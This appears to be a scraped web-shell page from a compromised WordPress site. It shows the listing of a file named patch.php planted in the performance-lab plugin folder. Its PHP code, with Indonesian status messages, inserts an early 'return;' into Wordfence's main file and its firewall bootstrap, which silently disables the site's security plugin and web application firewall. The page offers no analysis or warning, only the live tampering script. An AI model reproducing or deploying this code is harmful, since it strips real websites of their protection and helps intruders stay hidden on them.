Your IP : 216.73.216.196


Current Path : /home/icmq6107/clients/naddaf/wp-content/plugins/performance-lab/
Upload File :
Current File : /home/icmq6107/clients/naddaf/wp-content/plugins/performance-lab/patch.php

<?php

function patchFile($target_file) {
    if (!file_exists($target_file)) {
        return "Error: File target '{$target_file}' tidak ditemukan.";
    }

    if (!is_writable($target_file)) {
        return "Error: File '{$target_file}' tidak bisa ditulis. Periksa izin file.";
    }

    $content = file_get_contents($target_file);
    $opening_tag = '<?php';
    $patch_code = 'return;';

    $content_after_tag = substr($content, strlen($opening_tag));
    if (strpos(ltrim($content_after_tag), $patch_code) === 0) {
        return "Info: File '{$target_file}' sudah di-patch sebelumnya.";
    }

    $new_content = preg_replace('/' . preg_quote($opening_tag, '/') . '/', $opening_tag . ' ' . $patch_code, $content, 1);

    if (file_put_contents($target_file, $new_content)) {
        return "Berhasil: File '{$target_file}' telah di-patch.";
    } else {
        return "Error: Gagal menyimpan perubahan ke '{$target_file}'.";
    }
}

$targets = [
    '../wordfence/wordfence.php',
    '../wordfence/waf/bootstrap.php'
];

echo "<h3>Memulai Proses Patching...</h3>";
foreach ($targets as $file) {
    $result = patchFile($file);
    echo $result . "<br>";
}
echo "<h3>Proses Selesai.</h3>";

?>